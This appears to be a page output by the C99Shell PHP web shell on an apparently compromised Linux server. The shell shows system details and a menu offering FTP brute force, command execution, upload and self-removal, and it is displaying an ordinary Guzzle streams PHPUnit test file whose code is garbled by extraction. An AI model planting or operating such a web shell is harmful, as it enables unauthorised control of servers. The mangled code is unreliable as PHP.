!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/vendor/guzzlehttp/streams/tests/   drwxrwxr-x
Free 11.62 GB of 61.93 GB (18.76%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     GuzzleStreamWrapperTest.php (3.1 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace GuzzleHttp\Tests\Stream;

use 
GuzzleHttp\Stream\GuzzleStreamWrapper;
use 
GuzzleHttp\Stream\Stream;

/**
 * @covers GuzzleHttp\Stream\GuzzleStreamWrapper
 */
class GuzzleStreamWrapperTest extends \PHPUnit_Framework_TestCase
{
    public function 
testResource()
    {
        
$stream Stream::factory('foo');
        
$handle GuzzleStreamWrapper::getResource($stream);
        
$this->assertSame('foo'fread($handle3));
        
$this->assertSame(3ftell($handle));
        
$this->assertSame(3fwrite($handle'bar'));
        
$this->assertSame(0fseek($handle0));
        
$this->assertSame('foobar'fread($handle6));
        
$this->assertTrue(feof($handle));

        
// This fails on HHVM for some reason
        
if (!defined('HHVM_VERSION')) {
            
$this->assertEquals([
                
'dev'     => 0,
                
'ino'     => 0,
                
'mode'    => 33206,
                
'nlink'   => 0,
                
'uid'     => 0,
                
'gid'     => 0,
                
'rdev'    => 0,
                
'size'    => 6,
                
'atime'   => 0,
                
'mtime'   => 0,
                
'ctime'   => 0,
                
'blksize' => 0,
                
'blocks'  => 0,
                
0         => 0,
                
1         => 0,
                
2         => 33206,
                
3         => 0,
                
4         => 0,
                
5         => 0,
                
6         => 0,
                
7         => 6,
                
8         => 0,
                
9         => 0,
                
10        => 0,
                
11        => 0,
                
12        => 0,
            ], 
fstat($handle));
        }

        
$this->assertTrue(fclose($handle));
        
$this->assertSame('foobar', (string) $stream);
    }

    
/**
     * @expectedException \InvalidArgumentException
     */
    
public function testValidatesStream()
    {
        
$stream $this->getMockBuilder('GuzzleHttp\Stream\StreamInterface')
            ->
setMethods(['isReadable''isWritable'])
            ->
getMockForAbstractClass();
        
$stream->expects($this->once())
            ->
method('isReadable')
            ->
will($this->returnValue(false));
        
$stream->expects($this->once())
            ->
method('isWritable')
            ->
will($this->returnValue(false));
        
GuzzleStreamWrapper::getResource($stream);
    }

    
/**
     * @expectedException \PHPUnit_Framework_Error_Warning
     */
    
public function testReturnsFalseWhenStreamDoesNotExist()
    {
        
fopen('guzzle://foo''r');
    }

    public function 
testCanOpenReadonlyStream()
    {
        
$stream $this->getMockBuilder('GuzzleHttp\Stream\StreamInterface')
            ->
setMethods(['isReadable''isWritable'])
            ->
getMockForAbstractClass();
        
$stream->expects($this->once())
            ->
method('isReadable')
            ->
will($this->returnValue(false));
        
$stream->expects($this->once())
            ->
method('isWritable')
            ->
will($this->returnValue(true));
        
$r GuzzleStreamWrapper::getResource($stream);
        
$this->assertInternalType('resource'$r);
        
fclose($r);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5565 ]--